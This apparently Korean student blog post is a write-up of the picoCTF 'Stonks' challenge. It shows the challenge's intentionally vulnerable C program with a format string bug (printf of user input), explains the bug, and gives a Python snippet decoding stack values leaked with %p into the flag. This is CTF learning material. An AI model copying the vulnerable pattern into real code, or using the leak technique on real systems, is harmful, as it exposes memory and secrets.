Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- Sookmyung Information Security Study
- Python
- 생활코딩
- 백준
- C언어
- PHP 웹페이지 만들기
- BOJ Python
- CSS
- 풀이
- Javascript
- 드림핵
- 숙명여자대학교 정보보안 동아리
- c++
- HTML
- lob
- hackerrank
- The Loard of BOF
- SWEA
- hackctf
- 웹페이지 만들기
- WarGame
- c
- BOJ
- 머신러닝
- 숙명여자대학교 정보보안동아리
- 자료구조 복습
- XSS Game
- 기계학습
- siss
- 파이썬
Archives
- Today
- Total
혜랑's STORY
[picoCTF] Stonks - Binary Exploitation 본문
이번에 해결할 문제이다.
vuln.c는 다음과 같다.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int view_portfolio(Portfolio *p) {
if (!p) {
return 1;
}
printf("\nPortfolio as of ");
fflush(stdout);
system("date"); // TODO: implement this in C
fflush(stdout);
printf("\n\n");
Stonk *head = p->head;
if (!head) {
printf("You don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
Stonk *pick_symbol_with_AI(int shares) {
if (shares < 1) {
return NULL;
}
Stonk *stonk = malloc(sizeof(Stonk));
stonk->shares = shares;
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
for (int i = 0; i <= MAX_SYM_LEN; i++) {
if (i < AI_symbol_len) {
stonk->symbol[i] = 'A' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = NULL;
return stonk;
}
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Portfolio *initialize_portfolio() {
Portfolio *p = malloc(sizeof(Portfolio));
p->money = (rand() % 2018) + 1;
p->head = NULL;
return p;
}
void free_portfolio(Portfolio *p) {
Stonk *current = p->head;
Stonk *next = NULL;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
srand(time(NULL));
Portfolio *p = initialize_portfolio();
if (!p) {
printf("Memory failure\n");
exit(1);
}
int resp = 0;
printf("Welcome back to the trading app!\n\n");
printf("What would you like to do?\n");
printf("1) Buy some stonks!\n");
printf("2) View my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("Goodbye!\n");
exit(0);
}
다음 명령어를 통해 바이너리 파일을 만들어 주었다.
gcc -o vuln vuln.c
파일을 실행시키고 1을 입력하니 flag 파일이 없으니 admin에 연결하라는 문구가 나오고 종료하였다.
nc mercury.picoctf.net 6989
-> 접속하기
1을 입력하자 What is your API token? 이라는 문구 뒤에 입력을 받았고, Buying stonks with token: 뒤에 앞에서 입력받은 내용을 출력해 준다는 것을 알 수 있었다.
2를 입력하면 프로필을 출력하고 프로그램을 종료하는 것 같았다.
코드를 자세히 살펴보니 다음과 같은 힌트를 찾을 수 있었다.
파일에서 토큰을 읽는 방법을 찾으라고 한다. 또한 다음 코드에서 fsb 취약점이 발생한다.
printf(user_buf);
fsb 취약점이란?
- 포맷 스트링 버그(Format String bug, FSB)란 버퍼 오버플로우 해킹 기법의 한 종류이다.
- 사용자의 입력에 의해서 프로그램의 흐름을 변경하는 취약점이다.
- printf() 함수는 포맷 스트링 문자를 만나면 스택에서 저장된 값을 하나씩 뽑아서 출력해준다.
따라서 "%p"를 입력하면 스택의 상위 포인터 주소 값을 출력하게 된다.
값들을 보면 0x20~0x7e로 너무 작거나 너무 큰 수가 포함되어 있지 않다. 따라서 api_buf에 들어있는 값들은 주소가 아닌 flag 값이라고 생각하였다.
leak = '0x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffc9007d0xf7fceaf80xf7fa1440'.split('0x')
flag = ''
for i in range(0, len(leak)):
flag += leak[i].decode('hex')[::-1]
print(flag)
값을 긁어와 변환한 뒤 출력해보니 쓸데없는 값을 제외하면 flag가 된다는 것을 알 수 있었다.
성공!
'2021 SISS 21기 활동 > 여름방학 CTF[연합]' 카테고리의 다른 글
[picoCTF] asm1 - Reverse Engineering (0) | 2021.08.05 |
---|---|
[picoCTF] crackme.py - Reverse Engineering (0) | 2021.08.05 |
[picoCTF] Mind your Ps and Qs - Cryptography (0) | 2021.07.29 |
[picoCTF] caesar - Cryptography (0) | 2021.07.29 |
[picoCTF] 13 - Cryptography (0) | 2021.07.29 |